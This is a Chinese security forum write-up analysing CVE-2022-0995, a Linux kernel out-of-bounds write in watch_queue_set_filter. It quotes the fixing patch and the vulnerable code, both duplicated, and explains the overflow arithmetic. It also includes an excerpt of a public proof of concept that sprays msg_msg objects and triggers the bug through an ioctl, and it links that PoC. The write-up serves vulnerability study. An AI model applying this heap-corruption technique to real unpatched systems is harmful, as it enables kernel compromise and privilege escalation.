首页
社区
课程
招聘
[原创]CVE-2022-0995分析(内核越界 watch_queue_set_filter)
发表于: 2022-4-2 11:30 15233

[原创]CVE-2022-0995分析(内核越界 watch_queue_set_filter)

2022-4-2 11:30
15233

此漏洞与CVE-2021-22555利用方式相似。

根据补丁位置,大致可以看到watch_queue_set_filter此位置很有可能是溢出点。

wfilter分配

查看相关代码,分配的watch_type_filter数量nr_filter为 tf[i].type < sizeof(wfilter->type_filter) 8
而访问q = wfilter->filters; 则是 tf[i].type >= sizeof(wfilter->type_filter)
BITS_PER_LONG.

sizeof(wfilter->type_filter) BITS_PER_LONG > sizeof(wfilter->type_filter) 8

所以这里因该是会造成访问越界地址的问题。只要 sizeof(wfilter->type_filter) BITS_PER_LONG > tf[i].type > sizeof(wfilter->type_filter) 8。

根据poc

可以看到struct watch_notification_filter 是直接从用户态传进来的。sizeof(wfilter->type_filter) BITS_PER_LONG = 1664 = 1024, sizeof(wfilter->type_filter) 8 = 168 = 128;0x30a = 778;

struct watch_type_filter 占 16 个字节。

poc中nfilters=4, type=778的有占其中一个。其余type=1。

也就是内核分配了 16 + 4 + 4 5 3 = 80 而可以访问的范围确实 16 + 4 + 4 5 4 = 100.

越界的大小为 100 - 80 = 20。

poc 里堆喷了2000*96字节的堆。释放1950和0位置上的msg。重复50次堆喷。大致又是这样。
图片描述

msg_msg = 8*2 + 8 + 8 + 8 + 8 = 48 = 0x30。

也就是primary_msg的next的后四个字节将会被写成零。这样将造成与CVE-2021-22555利用过程翻译相同的情况。

这个在cve-2021-22555中有详细的解释,不说了。
poc https://github.com/Bonfee/CVE-2022-0995

@@ -320,7 +319,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
             tf[i].info_mask & WATCH_INFO_LENGTH)
             goto err_filter;
         /* Ignore any unknown types */
-        if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
+        if (tf[i].type >= WATCH_TYPE__NR)
             continue;
         nr_filter++;
     }
@@ -336,7 +335,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
 
     q = wfilter->filters;
     for (i = 0; i < filter.nr_filters; i++) {
-        if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
+        if (tf[i].type >= WATCH_TYPE__NR)
             continue;
 
         q->type            = tf[i].type;
@@ -371,6 +370,7 @@ static void __put_watch_queue(struct kref *kref)
 
     for (i = 0; i < wqueue->nr_pages; i++)
         __free_page(wqueue->notes[i]);
+    bitmap_free(wqueue->notes_bitmap);
 
     wfilter = rcu_access_pointer(wqueue->filter);
     if (wfilter)
@@ -566,7 +566,7 @@ void watch_queue_clear(struct watch_queue *wqueue)
     rcu_read_lock();
     spin_lock_bh(&wqueue->lock);
 
-    /* Prevent new additions and prevent notifications from happening */
+    /* Prevent new notifications from being stored. */
     wqueue->defunct = true;
 
     while (!hlist_empty(&wqueue->watches)) {
@@ -320,7 +319,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
             tf[i].info_mask & WATCH_INFO_LENGTH)
             goto err_filter;
         /* Ignore any unknown types */
-        if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
+        if (tf[i].type >= WATCH_TYPE__NR)
             continue;
         nr_filter++;
     }
@@ -336,7 +335,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,
 
     q = wfilter->filters;
     for (i = 0; i < filter.nr_filters; i++) {
-        if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
+        if (tf[i].type >= WATCH_TYPE__NR)
             continue;
 
         q->type            = tf[i].type;
@@ -371,6 +370,7 @@ static void __put_watch_queue(struct kref *kref)
 
     for (i = 0; i < wqueue->nr_pages; i++)
         __free_page(wqueue->notes[i]);
+    bitmap_free(wqueue->notes_bitmap);
 
     wfilter = rcu_access_pointer(wqueue->filter);
     if (wfilter)
@@ -566,7 +566,7 @@ void watch_queue_clear(struct watch_queue *wqueue)
     rcu_read_lock();
     spin_lock_bh(&wqueue->lock);
 
-    /* Prevent new additions and prevent notifications from happening */
+    /* Prevent new notifications from being stored. */
     wqueue->defunct = true;
 
     while (!hlist_empty(&wqueue->watches)) {
for (i = 0; i < filter.nr_filters; i++) {
    if ((tf[i].info_filter & ~tf[i].info_mask) ||
        tf[i].info_mask & WATCH_INFO_LENGTH)
        goto err_filter;
    /* Ignore any unknown types */
    if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
        continue;
    nr_filter++;
}
 
/* Now we need to build the internal filter from only the relevant
 * user-specified filters.
 */
ret = -ENOMEM;
wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
if (!wfilter)
    goto err_filter;
wfilter->nr_filters = nr_filter;
 
q = wfilter->filters;
for (i = 0; i < filter.nr_filters; i++) {
    if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
        continue;
 
    q->type            = tf[i].type;
    q->info_filter        = tf[i].info_filter;
    q->info_mask        = tf[i].info_mask;
    q->subtype_filter[0]    = tf[i].subtype_filter[0];
    __set_bit(q->type, wfilter->type_filter);
    q++;
}
for (i = 0; i < filter.nr_filters; i++) {
    if ((tf[i].info_filter & ~tf[i].info_mask) ||
        tf[i].info_mask & WATCH_INFO_LENGTH)
        goto err_filter;
    /* Ignore any unknown types */
    if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
        continue;
    nr_filter++;
}
 
/* Now we need to build the internal filter from only the relevant
 * user-specified filters.
 */
ret = -ENOMEM;
wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
if (!wfilter)
    goto err_filter;
wfilter->nr_filters = nr_filter;
 
q = wfilter->filters;
for (i = 0; i < filter.nr_filters; i++) {
    if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
        continue;
 
    q->type            = tf[i].type;
    q->info_filter        = tf[i].info_filter;
    q->info_mask        = tf[i].info_mask;
    q->subtype_filter[0]    = tf[i].subtype_filter[0];
    __set_bit(q->type, wfilter->type_filter);
    q++;
}
 
 
 
long watch_queue_set_filter(struct pipe_inode_info *pipe,
                struct watch_notification_filter __user *_filter){
      ...
    tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
...}
long watch_queue_set_filter(struct pipe_inode_info *pipe,
                struct watch_notification_filter __user *_filter){
      ...
    tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
...}
do {
   ntries++;
 
   filter->nr_filters = nfilters;
   for (int i = 0; i < (nfilters - 1); i++) {  // choose kmalloc-96
     filter->filters[i].type = 1;
   }
 
   // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
   filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024
 
   if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
     perror("pipe2()");
     exit(1);
   }
 
   // Spray kmalloc-96
   spray_msgmsg();
   delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
   delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup
 
   // Filter go
   if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
     perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
     goto err;
   }
 
   check_corruption();
 
   if (corrupted_idx != -1)
     break;
 
   cleanup_msgmsg();
 } while (ntries < CORRUPT_MSGMSG_TRIES);
do {
   ntries++;
 
   filter->nr_filters = nfilters;
   for (int i = 0; i < (nfilters - 1); i++) {  // choose kmalloc-96
     filter->filters[i].type = 1;
   }
 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-4-2 11:36 被inquisiter编辑 ,原因:
收藏
免费 2
支持
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/04/21 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//